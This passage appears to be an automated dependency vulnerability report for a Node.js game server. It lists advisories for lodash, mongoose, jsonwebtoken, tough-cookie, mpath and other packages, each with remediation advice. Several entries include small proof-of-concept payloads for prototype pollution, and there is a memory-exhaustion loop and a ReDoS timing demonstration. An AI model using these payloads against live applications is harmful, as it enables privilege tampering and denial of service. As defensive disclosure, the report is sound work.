There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mongoose to version 5.13.15, 6.4.6 or higher.

References

medium severity

Use of a Broken or Risky Cryptographic Algorithm

  • Vulnerable module: jsonwebtoken
  • Introduced through: jsonwebtoken@5.7.0 and express-jwt@3.4.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer jsonwebtoken@5.7.0
    Remediation: Upgrade to jsonwebtoken@9.0.0.
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer express-jwt@3.4.0 jsonwebtoken@5.7.0
    Remediation: Upgrade to express-jwt@7.7.8.

Overview

jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm such that the library can be misconfigured to use legacy, insecure key types for signature verification. For example, DSA keys could be used with the RS256 algorithm.

Exploitability

Users are affected when using an algorithm and a key type other than the combinations mentioned below:

EC: ES256, ES384, ES512

RSA: RS256, RS384, RS512, PS256, PS384, PS512

RSA-PSS: PS256, PS384, PS512

And for Elliptic Curve algorithms:

ES256: prime256v1

ES384: secp384r1

ES512: secp521r1

Workaround

Users who are unable to upgrade to the fixed version can use the allowInvalidAsymmetricKeyTypes option to true in the sign() and verify() functions to continue usage of invalid key type/algorithm combination in 9.0.0 for legacy compatibility.

Remediation

Upgrade jsonwebtoken to version 9.0.0 or higher.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: morgan
  • Introduced through: morgan@1.6.1

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer morgan@1.6.1
    Remediation: Upgrade to morgan@1.9.1.

Overview

morgan is a HTTP request logger middleware for node.js.

Affected versions of this package are vulnerable to Arbitrary Code Injection. An attacker could use the format parameter to inject arbitrary commands.

Remediation

Upgrade morgan to version 1.9.1 or higher.

References

medium severity

Improper Restriction of Security Token Assignment

  • Vulnerable module: jsonwebtoken
  • Introduced through: jsonwebtoken@5.7.0 and express-jwt@3.4.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer jsonwebtoken@5.7.0
    Remediation: Upgrade to jsonwebtoken@9.0.0.
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer express-jwt@3.4.0 jsonwebtoken@5.7.0
    Remediation: Upgrade to express-jwt@7.7.8.

Overview

jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Improper Restriction of Security Token Assignment via the secretOrPublicKey argument due to misconfigurations of the key retrieval function jwt.verify(). Exploiting this vulnerability might result in incorrect verification of forged tokens when tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm.

Note: This vulnerability affects your application if it supports the usage of both symmetric and asymmetric keys in jwt.verify() implementation with the same key retrieval function.

Remediation

Upgrade jsonwebtoken to version 9.0.0 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: request
  • Introduced through: request@2.68.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer request@2.68.0

Overview

request is a simplified http request client.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Prototype Pollution

  • Vulnerable module: tough-cookie
  • Introduced through: request@2.68.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer request@2.68.0 tough-cookie@2.2.2

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.

PoC

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade tough-cookie to version 4.1.3 or higher.

References

medium severity

Improper Authentication

  • Vulnerable module: jsonwebtoken
  • Introduced through: jsonwebtoken@5.7.0 and express-jwt@3.4.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer jsonwebtoken@5.7.0
    Remediation: Upgrade to jsonwebtoken@9.0.0.
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer express-jwt@3.4.0 jsonwebtoken@5.7.0
    Remediation: Upgrade to express-jwt@7.7.8.

Overview

jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Improper Authentication such that the lack of algorithm definition in the jwt.verify() function can lead to signature validation bypass due to defaulting to the none algorithm for signature verification.

Exploitability

Users are affected only if all of the following conditions are true for the jwt.verify() function:

  1. A token with no signature is received.

  2. No algorithms are specified.

  3. A falsy (e.g., null, false, undefined) secret or key is passed.

Remediation

Upgrade jsonwebtoken to version 9.0.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: hoek
  • Introduced through: request@2.68.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer request@2.68.0 hawk@3.1.3 hoek@2.16.3
    Remediation: Upgrade to request@2.82.0.
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer request@2.68.0 hawk@3.1.3 boom@2.10.1 hoek@2.16.3
    Remediation: Upgrade to request@2.82.0.
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer request@2.68.0 hawk@3.1.3 sntp@1.0.9 hoek@2.16.3
    Remediation: Upgrade to request@2.82.0.
  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer request@2.68.0 hawk@3.1.3 cryptiles@2.0.5 boom@2.10.1 hoek@2.16.3
    Remediation: Upgrade to request@2.82.0.

Overview

hoek is an Utility methods for the hapi ecosystem.

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)

var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade hoek to version 4.2.1, 5.0.3 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@3.10.1

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer lodash@3.10.1
    Remediation: Upgrade to lodash@4.17.5.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)

var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.5 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: swagger-jsdoc@1.10.3

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer swagger-jsdoc@1.10.3 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: tough-cookie
  • Introduced through: request@2.68.0

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer request@2.68.0 tough-cookie@2.2.2
    Remediation: Upgrade to request@2.74.0.

Overview

tough-cookie is RFC6265 Cookies and Cookie Jar for node.js.

Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS) attacks. An attacker may pass a specially crafted cookie, causing the server to hang.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade to version 2.3.3 or newer.

References

medium severity

Prototype Pollution

  • Vulnerable module: mongoose
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer mongoose@4.13.21
    Remediation: Upgrade to mongoose@5.12.2.

Overview

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution. The mongoose.Schema() function is subject to prototype pollution due to the recursively calling of Schema.prototype.add() function to add new items into the schema object. This vulnerability allows modification of the Object prototype.

PoC

mongoose = require('mongoose');
mongoose.version; //'5.12.0'
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mongoose.Schema(JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mongoose to version 5.12.2 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: mpath
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer mongoose@4.13.21 mpath@0.5.1
    Remediation: Upgrade to mongoose@5.13.9.

Overview

mpath is a package that gets/sets javascript object values using MongoDB-like path notation.

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2018-16490. In particular, the condition ignoreProperties.indexOf(parts[i]) !== -1 returns -1 if parts[i] is ['__proto__']. This is because the method that has been called if the input is an array is Array.prototype.indexOf() and not String.prototype.indexOf(). They behave differently depending on the type of the input.

PoC

const mpath = require('mpath');
// mpath.set(['__proto__', 'polluted'], 'yes', {});
// console.log(polluted); // ReferenceError: polluted is not defined

mpath.set([['__proto__'], 'polluted'], 'yes', {});
console.log(polluted); // yes

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mpath to version 0.8.4 or higher.

References

medium severity

Improper Control of Dynamically-Managed Code Resources

  • Vulnerable module: ejs
  • Introduced through: ejs@2.7.4

Detailed paths

  • Introduced through: game-platform-server@ishaan-puniani/GamePlatformServer ejs@2.7.4
    Remediation: Upgrade to ejs@3.1.10.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.

Note:

Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.

Remediation

Upgrade ejs to version 3.1.10 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: glob-parent
  • Introduced through: swagger-jsdoc@1.10.3

Detailed paths

